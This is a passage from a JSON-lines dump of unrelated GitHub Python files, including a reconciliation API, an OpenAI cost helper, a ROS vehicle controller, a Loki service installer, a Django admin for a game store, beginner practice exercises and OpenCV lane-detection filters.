0;\r\n\r\n","repo_name":"reirocco/CyberchallengeTool","sub_path":"tools/src/cryptography/double RSA/RSA/solution/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28217358240","text":"\"\"\" Reconciliation module \"\"\"\nfrom typing import List\nfrom model.payment import payment\nfrom model.currency import CurrencyConverter\nfrom web.api.payment_status import PaymentStatusAPI\n\nclass ReconciliationAPI():\n    \"\"\" Reconciliation API \"\"\"\n    def __init__(self):\n        self._out = {}\n        self._company_dict = {}\n        self._pay_stat_api = PaymentStatusAPI()\n        self._curr = CurrencyConverter()\n\n    def get_result(self, company_names: List[str]) -> dict:\n        \"\"\" Returns payment status \"\"\"\n        payment.generate_high_time_recurrences()\n\n        self._out = {\"reconciliations\": []}\n\n        for company_name in company_names:\n            self._company_dict = {\"header\": {\"company\": company_name,\n                                             \"inc_sum\": 0,\n                                             \"out_sum\": 0,\n                                             \"balance\": 0},\n                                  \"incoming\": [],\n                                  \"outgoing\": []}\n\n            self._process_open_payments(company_name)\n            self._out[\"reconciliations\"].append(self._company_dict)\n\n        return self._out\n\n    def _process_open_payments(self, company_name):\n        open_payments = payment.get_open_payments_of_company(company_name)\n\n        for open_payment in open_payments:\n            open_payment_dict = self._pay_stat_api.get_result(open_payment.guid)\n            open_amt = self._curr.convert_to_local_currency(\n                open_payment_dict[\"summary\"][\"open_amount\"],\n                open_payment_dict[\"summary\"][\"currency\"])\n\n            if open_payment.direction == payment.DIRECTION_IN:\n                self._company_dict[\"incoming\"].append(open_payment_dict)\n                self._company_dict[\"header\"][\"inc_sum\"] += open_amt\n                self._company_dict[\"header\"][\"balance\"] += open_amt\n            elif open_payment.direction == payment.DIRECTION_OUT:\n                self._company_dict[\"outgoing\"].append(open_payment_dict)\n                self._company_dict[\"header\"][\"out_sum\"] += open_amt\n                self._company_dict[\"header\"][\"balance\"] -= open_amt\n","repo_name":"keremkoseoglu/Kifu","sub_path":"web/api/reconciliation.py","file_name":"reconciliation.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29809386437","text":"import logging\nimport os\nimport sys\nimport dotenv\nimport openai\nfrom tenacity.stop import stop_after_attempt\nfrom tenacity.wait import wait_random_exponential\n\ndotenv.load_dotenv()\nopenai.organization = os.getenv(\"OPENAI_ORGANIZATION\", None)\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nlogging.basicConfig(stream=sys.stderr, level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nBASE_CACHE_DIR = \".cache\"\n\ndef log_after_retry(logger, level):\n    def log(retry_state):\n        logger.log(\n            level,\n            \"Retrying %s, attempt %s after exception %s\",\n            retry_state.fn,\n            retry_state.attempt_number,\n            retry_state.outcome.exception(),\n        )\n\n    return log\n\n# kwargs used for exponential backoff\nRETRY_KWARGS = dict(\n    wait=wait_random_exponential(min=3, max=60),\n    stop=stop_after_attempt(6),\n    after=log_after_retry(logger, logging.INFO),\n)\n\n\n\ndef get_base_model_name(model_name) -> str:\n    if \":\" in model_name:\n        return model_name.split(\":\")[0]\n    else:\n        return model_name\n\ndef get_cost_per_token(model_name, training=False):\n    # source: https://openai.com/pricing\n    base_inference_price_dict_1k = {\n        \"ada\": 0.0004,\n        \"babbage\": 0.0005,\n        \"curie\": 0.0020,\n        \"davinci\": 0.02,\n        \"code-davinci-002\": 0,\n        \"code-cushman-001\": 0,\n        \"text-ada-001\": 0.0004,\n        \"text-babbage-001\": 0.0005,\n        \"text-curie-001\": 0.0020,\n        \"text-davinci-001\": 0.02,\n        \"text-davinci-002\": 0.02,\n        \"text-davinci-003\": 0.02,\n        \"gpt-3.5-turbo\": 0.002,\n        # They charge 2x that per output token, so this metric is a bit off\n        \"gpt-4\": 0.03,\n    }\n\n    training_price_dict_1k = {\n        \"ada\": 0.0004,\n        \"babbage\": 0.0006,\n        \"curie\": 0.0030,\n        \"davinci\": 0.03,\n    }\n\n    ft_inference_price_dict_1k = {\n        \"ada\": 0.0016,\n        \"babbage\": 0.0024,\n        \"curie\": 0.0120,\n        \"davinci\": 0.12,\n    }\n\n    if training:\n        price_1k = training_price_dict_1k.get(get_base_model_name(model_name), 0)\n    elif \":\" in model_name:\n        price_1k =  ft_inference_price_dict_1k.get(get_base_model_name(model_name), 0)\n    else:\n        price_1k = base_inference_price_dict_1k.get(model_name, 0)\n\n    return price_1k / 1000\n","repo_name":"lukasberglund/openai_wrapper","sub_path":"openai_wrapper/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29289678321","text":"from pid import PID\nfrom lowpass import LowPassFilter\nfrom yaw_controller import YawController\nimport rospy\n\n\nGAS_DENSITY = 2.858\nONE_MPH = 0.44704\n\nclass Controller(object):\n    def __init__(self, vehicle_mass, fuel_capacity, brake_deadband, decel_limit, \n                 accel_limit, wheel_radius, wheel_base, steer_ratio, max_lat_accel,max_steer_angle):\n        \n        # set steering pid controller with minimum speed 0.1\n        self.yaw_controller = YawController(wheel_base, steer_ratio, 0.1, max_lat_accel, max_steer_angle)\n        \n        # set throttling pid controller with min. 0, max. 0.2 \n        kp = 0.3\n        ki = 0.1\n        kd = 0.\n        mn = 0.\n        mx = 0.2\n        self.throttle_controller = PID(kp, ki, kd, mn, mx)\n        \n        # set lowpath filter\n        tau = 0.5\n        ts  = .02\n        self.vel_lpf = LowPassFilter(tau, ts)\n        \n        self.vehicle_mass    = vehicle_mass\n        self.fuel_capacity   = fuel_capacity\n        self.brake_deadband  = brake_deadband\n        self.decel_limit     = decel_limit\n        self.accel_limit     = accel_limit\n        self.wheel_radius    = wheel_radius\n        \n        self.last_time = rospy.get_time()\n\n\n    def control(self, current_vel, dbw_enabled, linear_vel, angular_vel):\n        \n        # if dbw_enabled is disable, pid controller.\n        if not dbw_enabled:\n            self.throttle_controller.reset()\n            return 0., 0., 0.# Return throttle, brake, steer\n        \n        current_vel = self.vel_lpf.filt(current_vel)\n        \n        # get steering pid controller's output\n        steering = self.yaw_controller.get_steering(linear_vel, angular_vel, current_vel)\n        \n        vel_error = linear_vel - current_vel\n        self.last_vel = current_vel\n        \n        current_time = rospy.get_time()\n        sample_time  = current_time - self.last_time\n        self.last_time = current_time\n        \n        throttle = self.throttle_controller.step(vel_error, sample_time)\n        brake    = 0\n        \n        if linear_vel == 0. and current_vel < 0.1:\n            throttle = 0\n            brake    = 700 #400\n        \n        # if car is faster than the goal, vel_error is neg.\n        elif throttle < .1 and vel_error < 0: \n            throttle = 0\n            # decel_limit is -5\n            decel = max(vel_error, self.decel_limit)\n            # brake unit is in torque(N*m)\n            brake = abs(decel)*self.vehicle_mass*self.wheel_radius\n            \n        return throttle, brake, steering\n","repo_name":"parkjin-nim/Real_SDC_capstone_project","sub_path":"ros/src/twist_controller/twist_controller.py","file_name":"twist_controller.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"11974732051","text":"#Slack Config\nteam_name = ''\nbot_name = \"latex\"\nAPI_TOKEN = \"\"\nfontname = \"DejaVuSerif.ttf\"\nDEFAULT_REPLY = \"Sorry but I didn't understand you\"\nPLUGINS = ['texbot.plugins']\n\n\n#latex config\ntex = \"/usr/bin/pdflatex\"\npdfCrop = \"/usr/bin/pdfcrop\"\npoppler = \"/usr/bin/pdftoppm\"\npnmtopng = \"/usr/bin/pnmtopng\"\ntemplate = \"/root/PySlackTexBot/template.tex\"\nimageDir = \"/root/PySlackTexBot/sent/\"\nimgurClientId = \"\"\n","repo_name":"wraith1995/PySlackTexBot","sub_path":"slackbot_settings.py","file_name":"slackbot_settings.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39458228141","text":"\nfrom __future__ import print_function\n\ndef getKey(data, key, default=\"N/A\"):\n   try:\n      for member in key.split('.'):\n         member = int(member) if member.isdigit() else member\n         data = data[member]\n   except Exception: # pylint: disable=broad-except\n      data = default\n   return data\n\ndef tupleFmt(data, fmt, *args):\n   return fmt % tuple(getKey(data, k) for k in args)\n\nclass Row():\n   def __init__(self, fmt, *args):\n      self.fmt = fmt\n      self.args = args\n\n   def render(self, data, indent=0):\n      spacer = ' ' * indent\n      print('%s%s' % (spacer, tupleFmt(data, self.fmt, *self.args)))\n\nclass List():\n   def __init__(self, title=None, attr=None, header=None, tree=None):\n      self.title = title\n      self.attr = attr\n      self.header = header\n      self.tree = tree or []\n\n   def renderItem(self, item, indent, spacing):\n      spacer = ' ' * indent\n      print('%s%s' % (spacer, tupleFmt(item, *self.header)))\n      indent += spacing\n\n      spacer = ' ' * indent\n      for row in self.tree:\n         if isinstance(row, List):\n            row.render(item, indent) # XXX\n         else:\n            row.render(item, indent=indent)\n\n   def render(self, data, indent=0, spacing=2, newline=False):\n      if self.title:\n         print('%s%s' % (' ' * indent, self.title))\n         indent += spacing\n\n      if self.attr is not None:\n         data = getKey(data, self.attr)\n\n      for item in data:\n         self.renderItem(item, indent, spacing)\n\n      if data and newline:\n          print()\n\nclass Col():\n   def __init__(self, name, attr, size):\n      self.name = name\n      self.attr = attr\n      self.size = size\n\nclass Table():\n   def __init__(self, columns):\n      self.columns = columns\n\n   def render(self, data, newline=False):\n      if not data:\n         return\n\n      fmt = ' '.join('%%-%ds' % c.size for c in self.columns)\n      print(fmt % tuple(c.name for c in self.columns))\n      print(fmt % tuple('-' * c.size for c in self.columns))\n      for item in data:\n         print(fmt % tuple(getKey(item, c.attr) for c in self.columns))\n\n      if newline:\n         print()\n\nclass Renderer():\n\n   NAME = None\n\n   def __init__(self, name=None):\n      self.name = name or self.NAME\n      self.data_ = {}\n\n   def data(self, show):\n      data = self.data_.get(show)\n      if data is None:\n         data = self.getData(show)\n         self.data_[show] = data\n      return data\n\n   def getData(self, show):\n      '''Output for JSON, recommended to use as source for renderText'''\n      raise NotImplementedError\n\n   def renderText(self, show):\n      '''Textual output for CLI'''\n      raise NotImplementedError\n\nclass Show():\n\n   TXT = 'text'\n   JSON = 'json'\n\n   def __init__(self, outputFormat=None, args=None):\n      self.outputFormat = outputFormat\n      self.inventories = []\n      self.platforms = []\n      self.args = args\n\n   def addInventory(self, inventory, **metadata):\n      self.inventories.append((inventory, metadata))\n\n   def addPlatform(self, platform):\n      self.platforms.append(platform)\n\n   def renderText(self, *renderers):\n      for r in renderers:\n         r.renderText(self)\n\n   def renderJson(self, *renderers):\n      data = {\n         \"version\": 1,\n         \"renderers\": {\n            r.name : r.data(self) for r in renderers\n         },\n      }\n\n      import json\n      if self.args.pretty:\n         print(json.dumps(data, indent=3, separators=(',', ': ')))\n      else:\n         print(json.dumps(data))\n\n   def render(self, *renderers):\n      if self.outputFormat == self.TXT:\n         self.renderText(*renderers)\n      elif self.outputFormat == self.JSON:\n         self.renderJson(*renderers)\n","repo_name":"aristanetworks/sonic","sub_path":"arista/cli/show/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"35"}
{"seq_id":"17756069375","text":"def factorial(num):\n    if num <= 1:\n        return 1\n    else:\n        return num * factorial(num-1)\n\nresult = factorial(4)\nprint(result)\n\n\ndef validate(num):\n    if (num < 1 or num < 10):\n        print(\"Out of range\")\n    elif (num != int(num)):\n        print(\"Not an integer\")\n    else:\n        print(\"You are right\")\n        return True\n    return False\n\nprint(validate(-5))\nprint(validate(2.5))\n# print(validate(\"sijjgi\"))\n\n\ndef prime_Number(n, i=2):\n    if n == i:\n        return True\n    elif n % i == 0:\n        return False\n    return prime_Number(n, i+1)\n\nn = 972\nif prime_Number(n):\n    print(\"Yes, \",n,\" is prime\")\nelse:\n    print(\"No,\",n, \"is not a prime\")\n\n\ndef prime_number2(n):\n    for i in range(2, 1+n//2):\n        if n % 1 == 0:\n            return False\n        return True\n\nn = 979\nif prime_number2(979):\n    print(\"Yes, \", n, \" is prime\")\nelse:\n    print(\"No,\", n, \"is not a prime\")\n\nnums = [2,1,2]\n\nfor i in range(len(nums) -3, -1, -1):\n    if nums[i] + nums[i+1] > nums[i+2]:\n        print(nums[i] + nums[i + 1] > nums[i + 2])\n    else:\n        print(None)\n\n\ndef seq_of_numbers(term):\n    term += ' '\n    i = 0\n    current_count = 1\n    res = \"\"\n    while i < len(term)-1:\n        if term[i] != term[i+1]:\n            res = res + str(current_count) + term[i]\n            current_count = 1\n        else:\n            current_count += 1\n        i += 1\n    return res\n\nprint(seq_of_numbers(\"1211\"))\nprint(seq_of_numbers(\"111221\"))\n\ndef cap_space(str):\n    result = \"\"\n    i = 0\n    while i < len(str):\n        if str[i].isupper():\n            result += \" \"\n        result += str[i]\n        i += 1\n\n    return result.lower()\n\nprint(cap_space(\"helloWorld\"))\n\ndef char_count(a, b):\n    count = 0\n    i = 0\n    while i < len(b):\n        if a == b[i]:\n            count += 1\n        i += 1\n    return count\n\nprint(char_count(\"a\", \"App Academy\"))\n\ndef vowel_count(str):\n    count = 0\n    vowel = \"aeiouAEIOU\"\n    i = 0\n    while i < len(str):\n        if str[i] in vowel:\n            count += 1\n        i += 1\n    return count\n\nprint(vowel_count(\"App Academy\"))\n\ndef add_upper(str):\n    result = \"\"\n    i = 0\n    while i < len(str):\n        if str[i] == str[i].upper():\n            result += str[i]\n        i += 1\n    return result\n\nprint(add_upper(\"ApPlE\"))\n\nimport re\n\ndef valid_zip_code(zip):\n    pattern = \"^\\d{5}(?:[-\\s]\\d)\"\n    valid = re.search(pattern, zip)\n    if valid:\n        return zip\n    else:\n        return \"The zip code you entered is invalid\"\n    \nzip1 = '47243'\nzip3 = '01237-1238'\nprint(valid_zip_code(zip1))\n\n","repo_name":"ypt3/Python-All-Exercise","sub_path":"AppAcademy/Basic_Concept/blank.py","file_name":"blank.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71177360421","text":"\"\"\"adjustment\n\nRevision ID: 6524e9c7eb59\nRevises: 845520977b2c\nCreate Date: 2021-06-23 22:28:39.027689\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6524e9c7eb59'\ndown_revision = '845520977b2c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('business', sa.Column('about', sa.String(length=255), nullable=True))\n    op.alter_column('business', 'location',\n               existing_type=sa.VARCHAR(length=255),\n               nullable=False)\n    op.create_index(op.f('ix_business_location'), 'business', ['location'], unique=False)\n    op.create_index(op.f('ix_users_username'), 'users', ['username'], unique=False)\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index(op.f('ix_users_username'), table_name='users')\n    op.drop_index(op.f('ix_business_location'), table_name='business')\n    op.alter_column('business', 'location',\n               existing_type=sa.VARCHAR(length=255),\n               nullable=True)\n    op.drop_column('business', 'about')\n    # ### end Alembic commands ###\n","repo_name":"DebbieElabonga/yellowpages","sub_path":"migrations/versions/6524e9c7eb59_adjustment.py","file_name":"6524e9c7eb59_adjustment.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33797462082","text":"\"\"\"DataPlaneAPIOpsManager Class\"\"\"\nimport re\nimport sys\nimport subprocess\nfrom urllib import request\nimport zipfile\nimport shutil\nfrom pathlib import Path\nimport requests\n\n\nclass LokiManager:\n    \"\"\"\n    Mangages the Loki service, such as installing, configuring, etc.\n\n    This class should work independently from juju, such as that it can\n    be tested without lauching a full juju environment.\n    \"\"\"\n\n    def __init__(self):\n        self.loki_home = Path('/opt/loki')\n        self.loki = Path('/opt/loki/loki-linux-amd64')\n        self.loki_cfg = self.loki_home.joinpath('loki-local-config.yaml')\n        self.loki_unitfile = Path('/etc/systemd/system/loki.service')\n        \n    def _prepareOS(self):\n        \"\"\" sudo mkdir /opt/loki \"\"\"\n        try:\n            subprocess.run(['mkdir', '-p', self.loki_home], check = True)\n            print(f\"Prepared OS for loki installation {self.loki_home}\")\n        except:\n            print(f\"Error preparing OS for loki installation {self.loki_home}\")\n\n    def _install_from_resource(self, resource_path):\n        \"\"\"\n        Install from a resource.\n        \"\"\"\n        # Remove the loki home dir if exists\n        if self.loki_home.exists():\n            shutil.rmtree(self.loki_home)\n\n        # Unzip the juju resource into the build dir\n        with zipfile.ZipFile(resource_path,\"r\") as zip_ref:\n            zip_ref.extractall(self.loki_home)\n\n        try:\n            subprocess.run(['chmod','a+x',self.loki], check = True) \n        except:\n            print(\"Error installing loki binary\")\n            sys.exit(1)\n\n    def _install_config(self):\n        \"\"\"\n        Install the config from template.\n        \"\"\"\n        if self.loki_cfg.exists():\n            self.loki_cfg.unlink()\n        lokiconfig_tmpl = Path('templates/loki-local-config.yaml.tmpl').read_text()\n        self.loki_cfg.write_text(lokiconfig_tmpl)\n\n    def _install_systemd_unitfile(self):\n        \"\"\" Install the systemd unit file.\"\"\"\n        if self.loki_unitfile.exists():\n            self.loki_unitfile.unlink()\n        systemdunitfile_tmpl = Path('templates/loki.service.tmpl').read_text()\n        self.loki_unitfile.write_text(systemdunitfile_tmpl)\n\n    def stop_loki(self):\n        \"\"\"Stop loki\"\"\"\n        try:\n            subprocess.run(['systemctl','stop','loki'], check = True)\n        except Exception as e:\n            print(\"Error stopping loki\", str(e))\n\n    def start_loki(self):\n        \"\"\"Start loki\"\"\"\n        try:\n            subprocess.run(['systemctl','start','loki'], check = True)            \n        except Exception as e:\n            print(\"Error starting loki\", str(e))\n    \n    def restart_loki(self):\n        \"\"\"Restart loki\"\"\"\n        try:\n            subprocess.run(['systemctl','restart','loki'], check = True)            \n        except Exception as e:\n            print(\"Error starting loki\", str(e))\n\n\n    def install(self, resource_file):\n        \"\"\" Installs from a supplied zip file resource \"\"\"\n        self._prepareOS()\n        self._install_from_resource(resource_file)\n        self._install_config()\n        self._install_systemd_unitfile()\n\n    def loki_version(self):\n        \"\"\" Return the version of loki as a string or None\"\"\"\n        try:\n            r = subprocess.run(\n                [\n                    self.loki.resolve(), \n                    '-config.file', self.loki_cfg.resolve(),\n                    '-version'\n                ],capture_output=True\n            ).stdout.decode()            \n            ver = re.search(r'version\\s*([\\d.]+)', r).group(1)\n            return ver\n        except Exception as e:\n            print(\"Error getting version from loki\", e)\n            return None\n\n    def verify_config(self, filename=None):\n        \"\"\" Use loki to verify a loki config. E.g. look for msg=\"config is valid\" \"\"\"\n        if filename:\n            filetocheck = Path(filename)\n        else:\n            filetocheck = self.loki_cfg\n        try:\n            r = subprocess.run(\n                [\n                    self.loki.resolve(), \n                    '-config.file', filetocheck.resolve(),\n                    '-verify-config'\n                ],capture_output=True\n            )\n            s = r.stderr.decode()\n            return re.search(r'config is valid', s)\n\n        except Exception as e:\n            print(\"Error verifying config\", e)\n            return None\n\n    def is_ready(self):\n        \"\"\"\n        Checks the status of loki service by calling the api on localhost. \n        Manually: curl -G -s http://localhost:3100/ready\n        \"\"\"\n        url = \"http://localhost:3100/ready\"\n        r = requests.get(url, timeout=2.50)\n        return r.text.strip() == \"ready\"\n\n\n\n\n    def _purge(self):\n        \"\"\" Whipes the installation and remove all traces of Loki \"\"\"\n        try:\n            subprocess.run(['rm', self.loki], check = True)\n            print(\"Success removing loki bin\", self.loki)\n            subprocess.run(['rm', self.loki_unitfile], check = True)\n            print(\"Success removing loki unitfile\", self.loki_unitfile)\n            subprocess.run(['rm', '-rf', self.loki_home], check = True)\n            print(\"Success purging loki home dir\", self.loki_home)\n        except:\n            print(\"Error purging loki\")","repo_name":"erik78se/loki-vm-operator","sub_path":"src/loki_ops_manager.py","file_name":"loki_ops_manager.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35731222378","text":"class Node:\n    def __init__(self, val):\n        self.val = val\n        self.right = None\n        self.left = None\n\n    def __str__(self):\n        return str(self.val)\n\nclass BST:\n    def __init__(self):\n        self.root = None\n\n    def insert(self, val):\n        if self.root is None:\n            self.root = Node(val)\n        else:\n            cur = self.root\n            while True:\n                if val < cur.val:\n                    if cur.left is None:\n                        cur.left = Node(val)\n                        break\n                    else:\n                        cur = cur.left\n                else:\n                    if cur.right is None:\n                        cur.right = Node(val)\n                        break\n                    else:\n                        cur = cur.right\n        return self.root\n\n#Preorder , Inorder , Postorder\n    def preOrder(self, node):\n        if node is not None:\n            print(node.val, '', end='')\n            self.preOrder(node.left)\n            self.preOrder(node.right)\n\n    def inOrder(self, node):\n        if node is not None:\n            self.inOrder(node.left)\n            print(node.val, '', end='')\n            self.inOrder(node.right)\n\n    def posOrder(self, node):\n        if node is not None:\n            self.posOrder(node.left)\n            self.posOrder(node.right)\n            print(node.val, '', end='')\n\n    def bfs(self):\n        Q = []\n        Q.append(self.root)\n        while len(Q) != 0:\n            now = Q.pop(0)\n            print(now, '', end='')\n            if now.left is not None:\n                Q.append(now.left)\n            if now.right is not None:\n                Q.append(now.right)\n\nT = BST()\ninp = input(\"Enter Input : \").split('/')\ninp_num = list(map(int, inp[0].split()))\nfor x in inp_num:\n    root = T.insert(x)\nprint(\"Preorder : \", end=''); T.preOrder(root); print();\nprint(\"Inorder : \", end=''); T.inOrder(root); print();\nprint(\"Postorder : \", end=''); T.posOrder(root); print();\nprint(\"Breadth : \", end=''); T.bfs(); print();","repo_name":"eXitHere/DATA-STRUCTURES-AND-ALGORITHM-LAB","sub_path":"0074-Binary_Search_Tree.py","file_name":"0074-Binary_Search_Tree.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11355504808","text":"from django.conf.urls import url\nfrom django.contrib import admin\nfrom django.shortcuts import redirect\nfrom django.utils.safestring import mark_safe\n\nfrom adminsortable2.admin import SortableAdminMixin\n\nfrom easy_thumbnails.files import get_thumbnailer\n\nfrom games import models as game_models\nfrom games.utils import fetch_prices\n\n\nclass ScreenshotInlineAdmin (admin.StackedInline):\n    extra = 0\n    model = game_models.Screenshot\n    readonly_fields = ['field_thumbnail']\n\n    def field_thumbnail(self, instance):\n        options = {'size': (200, 0), 'quality': 100}\n        thumb = get_thumbnailer(instance.image).get_thumbnail(options)\n        return mark_safe(\n            '<img src=\"{url}\" title=\"{title}\" />'.format(url=thumb.url,\n                                                         title=instance.title))\n    field_thumbnail.short_description = 'Превью обложки'\n\n\nclass PartnerInlineAdmin (admin.StackedInline):\n    extra = 0\n    model = game_models.Partner\n\n\n@admin.register(game_models.Game)\nclass GameAdmin(admin.ModelAdmin):\n    list_display = (\n        'title',\n        'field_my_price'\n    )\n\n    inlines = [\n        PartnerInlineAdmin,\n        ScreenshotInlineAdmin,\n    ]\n\n    fieldsets = (\n        ('Основное', {\n            'fields': (\n                'title',\n                'slug',\n                'genre',\n                'mode',\n                'description',\n                'language',\n                'date_release',\n                'publisher'\n            )\n        }),\n        ('Обложка игры', {\n            'classes': ('wide',),\n            'fields': (\n                'image',\n                'field_thumbnail',\n            )\n        }),\n        ('Настройки активации', {\n            'classes': ('wide',),\n            'fields': (\n                'store_activation',\n                'method_activation',\n                'region',\n            )\n        }),\n        ('Системные требования', {\n            'classes': ('wide',),\n            'fields': (\n                'os',\n                'processor',\n                'ozu',\n                'video_card',\n                'hdd',\n            )\n        }),\n        ('Настрока отображения', {\n            'classes': ('wide',),\n            'fields': (\n                'is_soon',\n                'on_main_page'\n            )\n        }),\n        ('Настройка слайда', {\n            'classes': ('wide',),\n            'fields': (\n                'is_slide',\n                'image_slide',\n                'field_slide_thumbnail'\n            )\n        }),\n        ('Трейлер игры', {\n            'classes': ('wide',),\n            'fields': (\n                'id_video',\n            )\n        }),\n        ('Цена / Digiseller', {\n            'classes': ('wide',),\n            'fields': (\n                'digiseller_id',\n                'my_coast',\n                'store_coast',\n                'in_stock',\n            )\n        }),\n    )\n\n    readonly_fields = [\n        'field_thumbnail',\n        'field_slide_thumbnail',\n        'in_stock',\n    ]\n\n    prepopulated_fields = {\n        'slug': (\n            'title',\n        )\n    }\n\n    def field_my_price(self, instance):\n        price = instance.my_coast\n        return mark_safe('{my_coast} руб.'.format(my_coast=price))\n    field_my_price.short_description = 'Цена'\n\n    def field_thumbnail(self, instance):\n        options = {'size': (200, 0), 'quality': 100}\n        thumb = get_thumbnailer(instance.image).get_thumbnail(options)\n        return mark_safe(\n            '<img src=\"{url}\" title=\"{title}\" />'.format(url=thumb.url,\n                                                         title=instance.title))\n    field_thumbnail.short_description = 'Превью обложки'\n\n    def field_slide_thumbnail(self, instance):\n        options = {'size': (200, 0), 'quality': 100}\n        thumb = get_thumbnailer(instance.image_slide).get_thumbnail(options)\n        return mark_safe(\n            '<img src=\"{url}\" title=\"{title}\" />'.format(url=thumb.url,\n                                                         title=instance.title))\n    field_slide_thumbnail.short_description = 'Превью слайда'\n\n    def get_urls(self):\n        info = self.model._meta.app_label, self.model._meta.model_name\n        urls = [\n            url(r'^fetch_prices/$',\n                self.admin_site.admin_view(self.fetch_prices),\n                name='%s_%s_fetchprices' % info),\n        ]\n        urls.extend(super().get_urls())\n        return urls\n\n    def fetch_prices(self, request):\n        info = self.model._meta.app_label, self.model._meta.model_name\n        fetch_prices()\n        return redirect('admin:%s_%s_changelist' % info)\n\n\n@admin.register(game_models.Genre)\nclass GenreAdmin(SortableAdminMixin, admin.ModelAdmin):\n    readonly_fields = [\n        'slug',\n    ]\n\n\n@admin.register(game_models.Mode)\nclass ModeAdmin(SortableAdminMixin, admin.ModelAdmin):\n    readonly_fields = [\n        'slug',\n    ]\n\n\n@admin.register(game_models.Publisher)\nclass PublisherAdmin(admin.ModelAdmin):\n    pass\n","repo_name":"jobsteam/steamcool","sub_path":"key_market/apps/games/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13442484907","text":"import cv2\nimport numpy as np\n\n\ndef absSobelThreshFilter(image, orient='x', sobelKernel=6, thresh=(0, 255)):\n    # Use lightness channel of HLS color space for better performance over grayscale\n    hls = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n    l_channel = hls[:, :, 1]\n    # Take the derivative in x or y given orient = 'x' or 'y'\n    if orient == 'x':\n        sobel = cv2.Sobel(l_channel, cv2.CV_64F, 1, 0, ksize=sobelKernel)\n    else:\n        sobel = cv2.Sobel(l_channel, cv2.CV_64F, 0, 1)\n    # Get absolute value, direction is of no importance\n    absSobel = np.absolute(sobel)\n    # Scale to max value and apply threshold filter\n    binaryImg = scaleAndApplyThresholdsOnAbsoluteSobel(absSobel, thresh)\n    return binaryImg\n\ndef magSobelThreshFilter(image, sobelKernel=6, magThresh=(0, 255)):\n    # Use lightness channel of HLS color space for better performance over grayscale\n    hls = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n    lChannel = hls[:, :, 1]\n    # Apply Sobel in both directions\n    sobelX = cv2.Sobel(lChannel, cv2.CV_64F, 1, 0, ksize=sobelKernel)\n    sobelY = cv2.Sobel(lChannel, cv2.CV_64F, 0, 1, ksize=sobelKernel)\n    # Get absolute sum out of both, we are targeting for the magnitude,\n    # no filtering for either direction\n    absSobel = np.sqrt(np.square(sobelX) + np.square(sobelY))\n    # Scale to max value and apply threshold filter\n    binaryImg = scaleAndApplyThresholdsOnAbsoluteSobel(absSobel, magThresh)\n\n    return binaryImg\n\ndef scaleAndApplyThresholdsOnAbsoluteSobel(absoluteSobel, thresh=(0, 255)):\n    # Scale to max found value and convert to resolution 8bit\n    scaledSobel = np.uint8(255 * absoluteSobel / np.max(absoluteSobel))\n    # Convert to binary image\n    binaryImg = convertToBinaryFilter(scaledSobel, thresh)\n\n    return binaryImg\n\ndef convertToBinaryFilter(img, thresh=(0, 255)):\n    # Prepare empty binary image\n    binaryImg = np.zeros_like(img)\n    # Only keep those pixels that are between the threshold\n    binaryImg[(img >= thresh[0]) & (img <= thresh[1])] = 1\n    return binaryImg\n\ndef sChannelThreshFilter(img, thresh=(0,255)):\n    hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n    sChannel = hls[:, :, 2]\n    # Convert to binary image\n    binaryImg = convertToBinaryFilter(sChannel, thresh)\n    return binaryImg\n\ndef mergeWithAnd(binImg1 , binImg2):\n    mergedBinImg = np.zeros_like(binImg1)\n    mergedBinImg[((binImg1 == 1)) & ((binImg2 == 1))] = 1\n    return mergedBinImg\n\n\ndef mergeWithOr(binImg1, binImg2):\n    mergedBinImg = np.zeros_like(binImg1)\n    mergedBinImg[((binImg1 == 1)) | ((binImg2 == 1))] = 1\n    return mergedBinImg\n\ndef blurFilter(img, blurKernel=5):\n    return cv2.blur(img, (blurKernel,blurKernel))\n\nif __name__ == '__main__':\n    import misc\n\n    testImages = misc.getFileRelativeFilepathsInDirectory('test_images')\n    for imageName in testImages:\n        img = cv2.imread(imageName)\n        # Setup hyper parameters\n        blurKernelSize = 5\n        sobelKernelSize = 5\n        absSobelXThresh = (15, 200)\n        magSobelThresh = (38, 124)\n        sChannelThresh = (103, 200)\n        # Blur image\n        blurImg = blurFilter(img, blurKernelSize)\n        # Get gradient image via combination of x-dir abs. sobel and magnitude filter\n        xGradImg = 